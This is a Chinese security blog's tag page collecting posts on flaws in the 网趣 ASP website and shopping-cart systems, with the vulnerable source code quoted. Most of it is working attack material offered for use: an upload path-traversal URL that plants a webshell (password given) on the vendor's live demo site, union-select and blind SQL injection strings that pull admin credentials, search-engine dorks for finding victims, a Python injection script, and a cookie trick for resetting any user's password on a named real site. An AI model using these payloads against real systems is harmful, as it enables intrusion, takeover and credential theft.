浏览模式: 标准 | 列表Tag:网趣

网趣网站管理系统--上传漏洞

Submitted by admin
2011, April 22, 12:18 AM

程序:网趣网站管理系统1.2.1    (包含动态版和静态版 均存在此漏洞)

下载:http://www.codepub.com/d/downpage.php?n=1&id=18716::1288173021

FROM:http://www.st999.cn/blog

DATA:2010/04/22

利用方法:/ku_edit/ComquUp.asp?nf=&ni=a&nr=ok&nt=../st999.asp;&nm=&nq=&lx=1

漏洞文件:Free_ComQu\Ku_edit\ComquUp.asp

源码 :

<%Response.Buffer=True
Server.ScriptTimeOut=9999999
On Error Resume Next%><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB2312" />
<meta http-equiv="Content-Language" content="zh-cn" />
<meta content="all" name="robots" />
<meta name="author" content="酷航网络" />
<meta name="description" content="酷航网络提供虚拟主机、域名注册等服务!" />
<meta name="keywords" content="酷航网络、虚拟主机、域名注册" />
<style type="text/css">body,form{margin:0px;padding:0px;}body,input{font-size:12px;}</style>
<title>酷航文件上传系统V2</title>
</head>
<body id="body"><table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"><tr><td>
<%
response.Cookies("ComquUp")="1"
'您可以把上面判断cookies的写入语句复制到您登录的地方,这样便是“只有登录后才能操作上传文件。”
if request.Cookies("ComquUp")="1" then%>

<%
ComquDFormName=trim(request("nf"))
ComquDInputName=trim(request("ni"))
ComquDYNReName=trim(request("nr"))
ComquDPath=trim(request("nt"))
ComquDDM=trim(request("nm"))
ComquDPathQ=trim(request("nq"))
ComquDType=trim(request("lx"))

if ComquDPath<>"" then:ComquSavePath=ComquDPath:else:ComquSavePath="/Upfile/edit/":end if
if ComquDPathQ<>"" then:ComquSavePathQ=ComquDPathQ:else:ComquSavePathQ=ComquSavePath:end if
ComquYNPath(ComquSavePath)

if ComquDType="1" then
ComquFileNames="jpg,gif,png,bmp"
ComquBigSize=1024000'单位B
elseif ComquDType="2" then
ComquFileNames="swf,flv"
ComquBigSize=10240000
elseif ComquDType="3" then
ComquFileNames="avi,wmv,asf,mov,mp3,wma"
ComquBigSize=102400000
elseif ComquDType="4" then
ComquFileNames="rm,ra,ram,rmvb"
ComquBigSize=102400000
elseif ComquDType="5" then
ComquFileNames="txt,rar,zip,doc,7z,ppt"
ComquBigSize=102400000
end if

ComquFileSize=Request.TotalBytes

If ComquFileSize>0 Then
if ComquFileSize<ComquBigSize then
Set ComquUpStm=Server.CreateObject("ADODB.Stream")
ComquUpStm.Type=1
ComquUpStm.Open
ComquUpStm.Write Request.BinaryRead(ComquFileSize)
ComquUpStm.Position=0
ComquFormDataSize=ComquUpStm.Read
ComquCrlf=chrB(13)&chrB(10)
ComquFormStart=InStrB(ComquFormDataSize,ComquCrlf)
ComquFormEnd=InStrB(ComquFormStart+1,ComquFormDataSize,ComquCrlf)
Set ComquFormStm=Server.Createobject("ADODB.Stream")
ComquFormStm.Type=1
ComquFormStm.Open
ComquUpStm.Position=ComquFormStart + 1
ComquUpStm.CopyTo ComquFormStm,ComquFormEnd-ComquFormStart-3
ComquFormStm.Position=0
ComquFormStm.Type=2
ComquFormStm.CharSet="GB2312"
ComquFormStmText=ComquFormStm.Readtext
ComquFormStm.Close
ComquUpFileNAll=Mid(ComquFormStmText,InstrRev(ComquFormStmText,"\")+1,ComquFormEnd)
ComquUpFileCZM=mid(ComquUpFileNAll,InstrRev(ComquUpFileNAll,"."))

If ComquCheckFileCZM(ComquUpFileNAll) Then

if ComquDDM<>"" then
ComquUpFileName=ComquDDM
else
if ComquDYNReName<>"ok" then:ComquUpFileName=ComquUpFileNAll:else:ComquUpFileName=Year(now)&right("0"&Month(now),2)&right("0"&Day(now),2)&right("0"&Hour(now),2)&right("0"&Minute(now),2)&right("0"&Second(now),2)&right(replace(Request.ServerVariables("REMOTE_ADDR"),".",""),4)&ComquUpFileCZM:end if
end if

ComquSaveFile=Server.MapPath(ComquSavePath & ComquUpFileName)
k=Instrb(ComquFormDataSize,ComquCrlf&ComquCrlf)+4
l=Instrb(k+1,ComquFormDataSize,leftB(ComquFormDataSize,ComquFormStart-1))-k-2
ComquFormStm.Type=1
ComquFormStm.Open
ComquUpStm.Position=k-1
ComquUpStm.CopyTo ComquFormStm,l
ComquFormStm.SaveToFile ComquSaveFile,2
ComquSaveFileName=Mid(ComquSaveFile,InstrRev(ComquSaveFile,"\")+1)

if ComquDFormName<>"" then:Response.write"<script language=javascript>parent.document."&ComquDFormName&"."&ComquDInputName&".value='"&ComquSavePathQ&ComquSaveFileName&"';</script>":else:Response.write"<script language=javascript>parent.document.getElementById("""&ComquDInputName&""").value='"&ComquSavePathQ&ComquSaveFileName&"';</script>":end if
Response.write"<a href="""&ComquSavePath&ComquSaveFileName&""" target=""_blank"" title=""文件名称:"&ComquSaveFileName&""&vbcrlf&"文件大小:"&ComquFileSize&"KB"&vbcrlf&"友情提示:点击打开预览""><span style=""color:red;text-decoration:none;"">"&left(ComquSaveFileName,3)&"**"&ComquUpFileCZM&"</span></a> 上传成功! <a href="""&Request.ServerVariables("URL")&"?"&Request.ServerVariables("QUERY_STRING")&""">重新上传</a><br />"
Else
Response.write"<span style=""color:red;"">文件格式不正确!</span> <a href="""&Request.ServerVariables("URL")&"?"&Request.ServerVariables("QUERY_STRING")&""">重新上传文件</a><br />"
End If
Set ComquFormStm=Nothing
UploadStream.Close
Set UploadStream=Nothing


Function ComquCheckFileCZM(FileName)
FileType=Split(ComquFileNames,",")
For i=0 To Ubound(FileType)
If LCase(Right(FileName,len(FileType(i))))=LCase(FileType(i)) then
ComquCheckFileCZM=True
Exit Function
Else
ComquCheckFileCZM=False
End if
Next
End Function

Function ComquYNPath(FolderName)
ComquFolderM=Server.Mappath(FolderName)
Set Fso=CreateObject("Scripting.FileSystemObject")
If Not Fso.FolderExists(ComquFolderM) Then
Fso.CreateFolder(ComquFolderM)
End If
Set Fso=Nothing
End Function

else
Response.Write"<span style=""color:red;"">大小超过"&ComquBigSize&"B!</span> <a href="""&Request.ServerVariables("URL")&"?"&Request.ServerVariables("QUERY_STRING")&""">重新上传</a><br />"
end if

Else%><script language="Javascript">
function ComquCheckFile(){
if(document.ComquUpForm.ComquUpFile.value=="")
{alert("请选择上传文件!")
document.ComquUpForm.ComquUpFile.focus()
return false}
return true}
</script>
<form action="" method="post" name="ComquUpForm" onsubmit="return ComquCheckFile()"enctype="multipart/form-data">
<input type="file" name="ComquUpFile" size="10">
<input type="submit" value="上传">
</form>
<%End if
else:response.Write("<span style=""color:red;"">您无权上传操作!</span>"):end if%></td></tr></table>
</body>
</html>

嘿嘿,,,很明显的nt参数未过滤,可以构造路径,直接上传获得shell。

此程序的官方演示地址,也存在着这漏洞。

http://main.comqu.com/ku_edit/ComquUp.asp?nf=&ni=a&nr=ok&nt=../st999.asp;&nm=&nq=&lx=1

直接找个jpg的马儿上传,右键查看源码,获得名称../st999.asp;st999.asp;201104220019371540.jpg,实际上马儿的名称是st999.asp;201104220019371540.jpg,shell地址就是http://main.comqu.com/st999.asp;201104220019371540.jpg

这个是一句话,密码是st999,大家就不要轮J官方的演示站了,嘿嘿。。。

大小: 21.37 K
尺寸: 500 x 208
浏览: 52 次
点击打开新窗口浏览全图

Tags: 网趣

程序:网趣网上购物系统多用户时尚版 Build 101101

下载: http://www.codepub.com/d/downpage.php?n=1&id=3517::1157327981


/admin/listshj.asp?id=4567  丢到啊D里就能跑出来



listshj.asp未作验证,其中



<%dim shjiaid
shjiaid=request.querystring("id")
set rs=server.createobject("adodb.recordset")
rs.open "select * from [shjia] where shjiaid="&shjiaid ,conn,1,1%>


ID未作过滤,注入产生,直接丢到啊D里就行了,让工具自动吧

至于后面的id值是4567,是系统自带的商家的ID数值

至于自己注册的商家的ID数值,我没找到,汗了。


更夸张的是,直接打开这个网址,其中竟然还能上传,一看,晕了,竟然还有存在上传漏洞,以前的版本都不存在,怎么最新的版本倒是存在了。。。



upload.asp?formname=userinfo&editname=logo&uppath=upfile&filelx=jpg




/admin/review.asp

这个文件也存在漏洞,网上查了下,有人公布过了

Tags: 网趣

网趣网上购物系统时尚版10.3注入漏洞

Submitted by admin
2010, October 8, 7:59 PM

程序:网趣网上购物时尚版10.3,在此之前的版本未测试

漏洞:文件editorderform.asp,存在sql注入漏洞

关键字:inurl:trends.asp?id=

利用前提:注册用户下定单

FROM http://www.st999.cn/blog BY 流浪的风

分析:

源码如下:

<%dim zhuangtai,namekey
namekey=trim(request("namekey"))      只是单单过滤了空格而已
zhuangtai=trim(request("zhuangtai"))
if zhuangtai="" then zhuangtai=request.QueryString("zhuangtai")
if namekey="" then namekey=request.querystring("namekey")
%>

………………

'//按用户查询
  if zhuangtai=0 or zhuangtai="" then
  rs.open "select distinct(dingdan),userid,userzhenshiname,actiondate,songhuofangshi,zhifufangshi,zhuangtai from orders where zhuangtai<6 and username='"&namekey&"' order by actiondate desc",conn,1,1
  else
  rs.open "select distinct(dingdan),userid,userzhenshiname,actiondate,songhuofangshi,zhifufangshi,zhuangtai from orders where  zhuangtai="&zhuangtai&" and username='"&namekey&"'  order by actiondate",conn,1,1
  end if

 

admin目录下的editorderform.asp文件未做session验证,且对namekey过滤不严,直接导入查询产生SQL注入漏洞。

利用如下:

首先注册一个用户,随便找一样东西购买下一个定单,产生一个定单号。

如图:

大小: 37.89 K
尺寸: 500 x 223
浏览: 56 次
点击打开新窗口浏览全图

好了,定单号产生,那么,我们接着就直接打开网站

http://www.st999.cn/admin/editorderform.asp?zhuangtai=0&namekey=st999

其中的namekey=st999,st999替换成你注册的用户名,

把这个URL放到NBSI当中,关键字为“1笔”,手动添加表名cnhww,结果如图所示:

大小: 80.87 K
尺寸: 500 x 400
浏览: 56 次
点击打开新窗口浏览全图

好了,拿着跑出来的密码去cmd5解一下,再登录后台,

后台拿shell的话,备份和上传那里都可以,我就不详说了。

Tags: 网趣

利用:
price.asp?anid=36%20and%201=2%20union%20select%20admin,2,3,4,5,6,7,8,9,10,11,12,13,14,15,admin,17,18,19,20,21,22,23,24,25,26,27,password,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50%20from%20cnhww
用工具添加表名->cnhww,字段->admin、passwrod
后台可以备份数据库,前台结合可以轻松拿Webshell。
百度、谷歌搜索利用关键字:
inurl:Price.asp?anid=

Tags: 网趣

网趣网上购物系统HTML静态版 v2010 注射

Submitted by admin
2010, April 15, 9:38 AM

影响版本:网趣网上购物系统HTML静态版 v2010

漏洞描述:

Google关键字:inurl:buy.asp?action=show
或者:inurl:viewreturn.asp?Page=1

注射代码:

admin/review.asp?id=50%20and%201=2%20union%20select%201,2,admin,4,password,6,7,8,9,10,11%20from%20admin


自己重新查询下表,或者用工具注入

后台拿SHELL很简单的,上传截断,数据库备份都可以的。

Tags: 网趣

直接进了论坛后台构造代码
bbs/admin/data.asp?action=compressdata2&go=start
出现备份页面!

Tags: 网趣

网趣购物商城V9.6SQL注入利程序

Submitted by admin
2009, December 20, 10:17 AM

################################################################################
#                 网趣购物商城V9.6SQL注入利程序
#              NaMe:WangQu Shop V9.6 SQL Injection Vulnerability
#              Author : shaun
#              Blog : www.virusest.com
#              Contact : virusest@gmail.com  QQ:403688546
#              Google Dork : inurl:class.asp?lx+anid
#              Script site : http://www.cnhww.com/
#              Date : 20/12/2009
################################################################################

import sys
import os
import time
import http.client

if sys.platform == 'linux' or sys.platform == 'linux2':
    clearing = 'clear'
else:
    clearing = 'cls'
os.system(clearing)


if len(sys.argv) != 2:
    print("\n-----------------------------------------------------------------")
    print("| virusest@gmail.com                                              |")
    print("| 12/09    WangQU shop SQL Injection Tool                         |")
    print("| Help: 1.py -h                                                   |")
    print("| Visit www.virusest.com                                          |")
    print("|---------------------------------------------------------------|\n")
    sys.exit(1)

for arg in sys.argv:
    if arg == '-h':
        print("\n-------------------------------------------------------------")
        print("| virusest[@]gmail[dot]com                                    |")
        print("| 12/09  WangQU shop SQL Injection Tool                       |")
        print("| Usage: 1.py www.site.com newsid                             |")
        print("| Example: 1.py www.virusest.com 65                           |")
        print("| Visit www.virusest.com                                      |")
        print("|------------------------------------------------------------|\n")
        sys.exit(1)

site = sys.argv[1].replace("http://","").rsplit("/",1)[0]
site = site.lower()


injecturl = '/textbox2.asp?action=modify&newsid=65%20and%201=2%20union%20select%201,2,admin%2Bpassword,4,5,6,7,8%20from%20cnhww'


print("\n--------------------------------------------------------------------------------")
print("|              virusest@gmail.com                                                |")
print("|              12/09  WangQU shop SQL Injection Tool                             |")
print("|              Visit www.virusest.com                                            |")
print("\n[-] %s" % time.strftime("%X"))
print("[+] Target:",site)
print("[+] Cracking,wait.....")


try:
    conn = http.client.HTTPConnection(site)
       
    conn.request("Get",injecturl)
    response = conn.getresponse()
    page = response.read()
    response.close()
    print(page)

except(KeyboardInterrupt,SystemExit):
    raise
except:
    print("cancel")
    pass
大小: 48.88 K
尺寸: 500 x 325
浏览: 51 次
点击打开新窗口浏览全图

[URL=upload/200912200059521875.rar]Download Me[/URL]
Developed under Phyton ver 3.1, Make sure you have installed it Before using。

Tags: 网趣

网趣漏洞说明:
最新问题出在getpwd4.asp  这个文件有注射漏洞!

因为程序思路是想接受从上一个设置密码的表单文件中提交过来的变量,不过在这里我们可以不给它提交表单变量,而让它来接受我们设置的cookie,passwd是用request.from 来接受的,所以我们用一下的表单提交。

表单内容:
<form method="post" action="http://www.shouji168.net/getpwd4.asp" >
<!--下面的123456要改成的新密码-->
<input name="passwd" type="text" id="receipt" size="12" value="123456">
<input class=go-wenbenkuang type="submit" value=" 设置密码 " name="submit">
</form>


语句:
改任意用户密码。
javascript:alert(document.cookie="username="+escape("windows")

测试注入:
javascript:alert(document.cookie="username="+escape("windows' and '1'='1"))
javascript:alert(document.cookie="username="+escape("windows' and '1'='2"))

javascript:alert(document.cookie="username="+escape("windows' and (select len(password) from cnhww)>1 and '1'='1"))

javascript:alert(document.cookie="username="+escape("windows' and (select top 1 asc(mid(admin,1,1)) from cnhww)>96 and '1'='1"))

利用方式:
比如:第一个改任意用户密码
1: 首先将表单内容保存到本地,随便取个名字,htm的。     
2:然后打开网站http://www.shouji168.net/   在地址栏输入javascript:alert(document.cookie="username="+escape("windows")
(windows是已经有的用户,但是密码不清楚)
3:打开本地的表单,然后点设置密码
4:会出现密码更新成功,就被改为123456

第二个注入:方法更上面一样利用,  当1=1时   同样是会显示密码更新成功,但是等于2时会出现没有注册请到前台注册。

很明显有注入漏洞。

但是在遇到这个站的时候我有点蒙了,

希望大家看下
javascript:alert(document.cookie="username="+escape("windows' and (select top 1 len(password) from admin)>1 and '1'='1"))
执行后  应该存在admin这个表,但是可能语句问题  总出错

但是在猜password的asc码的时候

javascript:alert(document.cookie="username="+escape("windows' and (and (select top 1 asc(mid(password,1,1)) from admin)>107 and '1'='1"))

=========待补充

讨论:http://www.t00ls.net/thread-3751-1-4.html

Tags: 网趣

网趣网上购物系统时尚版 v3.2注入漏洞

Submitted by admin
2009, December 18, 11:38 PM

涉及版本:网趣网上购物系统时尚版 v3.2
漏洞文件:getpwd2.asp,getpwd3.asp,getpwd4.asp
漏洞描述:变量username未经过滤带入sql查询,存在SQL注入漏洞.
关键代码:

<%
username=request.form("username")
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [user] where username='"&username&"' "
rs.open sql,conn,1,1
If rs.eof Then
%>
<script language="javascript">
alert("这个用户没有注册,请注册!")
;javascrip:close();</script>
<%
End If
%>
<html><head><title>取回密码 | 回答问题</title>
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="images/css.css" rel="stylesheet" type="text/css">
<script language="javascript">
<!--
function form1_onsubmit() {
if (document.form1.answer.value=="")
{
alert("请输入您的问题答案。")
document.form1.answer.focus()
return false
}
}
// --></script>

利用方法:
post提交数据(可以借用剑心的Sql.htm[http://www.loveshell.net/blog/blogview.asp?logID=70]),默认管理员ID为4,密码为16位md5(小写字母),确定下范围0-9的asc值48-57,小写字母的asc值97-122

' or (select count(*) from admin where adminid=4 and asc(mid(password,N,1)) between 48 and 57)<>0 and ''='

' or (select count(*) from admin where adminid=4 and asc(mid(password,N,1)) between 97 and 122)<>0 and ''='

正确返回"取回密码",错误返回对话框"这个用户没有注册,请注册!"

Tags: 网趣

网趣网上购物系统时尚版v3.0注册注射漏洞

Submitted by admin
2009, December 18, 10:53 AM

作者:莫ㄨ问[B.H.S.T]&李宓
来源:www.vcsec.cn 本站原创

漏洞版本:网趣网上购物系统时尚版v3.0[其他版本暂未查看]
漏洞文件:register.asp在代码398-404行

具体代码如下:

sub saveuser()
// 利用session验证是否重复验证,这个好绕过,不过很烦人...需要重新开启IE就可以了.
if session("regtimes")=1 then
response.Write "<table width=100% border=0 cellspacing=0 cellpadding=0 align=center><tr><td height=300 align=center><font color=red>对不起,您刚注册过用户,请稍后再进行注册!</font></td></tr></table>"
response.End
end if
set rs=server.CreateObject("adodb.recordset")
// 判断注册的邮箱和用户名是否重复,只过滤了空格
rs.open "select * from [user] where UserEmail='"&trim(request("useremail"))&"' or UserName='"&trim(request("username"))&"'",conn,1,1
if rs.recordcount>0 then
---------------------后面插入数据库-------------------------


比如你已经正常注册了一个Vcor的用户,邮箱awolf858@gmail.com
然后现在注册邮箱不一样哦
1.vcor' and '1'='1   //提示已存在的用户 这样检测出来是已经存在所以会提示重复
2.awolf ' and '1'='1 //提示注册成功.
另外用户名这里有长度限制可以本地突破.
大家自己测试.有点麻烦,利用session验证了.
如图:1.bmp

 

Tags: 网趣

网趣网上购物系统SQL注入漏洞--getpwd2.asp

Submitted by admin
2009, December 4, 1:01 PM

网趣网上购物系统是一套简单易用、功能强大、用户使用最为广泛的网上购物开店平台,凭借多年的网上购物系统研发经验,软件功能日趋强大与完善、依托庞大的用户使用群体,网趣网上购物系统越来越受到用户的青睐,成为众多用户网上开店首选品牌。

这是官方的话 ↑
这个sql injection出现在找回密码处,最新版本的9.4也存在漏洞,随后对v9.0等以下版本测试均存在漏洞。

漏洞页面:getpwd2.asp

漏洞代码:
<%
username=request.form("username")
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [user] where username='"&username&"' "
rs.open sql,conn,1,1
If rs.eof Then
%>

典型的注入,和以前的网软购物系统一个模样

http://127.0.0.1/cnhww9.4/getpwd.asp
getpwd.asp是找回密码的页面,输入的用户名交给getpwd2.asp处理,若存在用户名到达第二步,否则退出

大小: 15.32 K
尺寸: 403 x 131
浏览: 46 次
点击打开新窗口浏览全图

输入 test' and 1=1 and ''='
跳到getpwd2.asp 第二步

大小: 17.77 K
尺寸: 402 x 145
浏览: 35 次
点击打开新窗口浏览全图

输入 test' and 1=2 and ''='
提示没有这个用户

大小: 15.38 K
尺寸: 291 x 156
浏览: 47 次
点击打开新窗口浏览全图

猜表 ->cnhww

test' and exists (select * from [admin]) and '1'='1    F
test' and exists (select * from [cnhww]) and '1'='1    T


   字段 ->admin password
test' and exists (select admin from [cnhww]) and '1'='1      T
test' and exists (select password from [cnhww]) and '1'='1   T

   值 -->
test' and (select top 1 asc(mid(admin,1,1)) from cnhww)>97 and '1'='1   F
test' and (select top 1 asc(mid(admin,1,1)) from cnhww)>96 and '1'='1   T
97=a
test' and (select top 1 asc(mid(admin,2,1)) from cnhww)>100 and '1'='1   F
test' and (select top 1 asc(mid(admin,2,1)) from cnhww)>99 and '1'='1    T
100=d

……


test' and (select top 1 asc(mid(password,1,1)) from cnhww)>55 and '1'='1

 

Tags: 网趣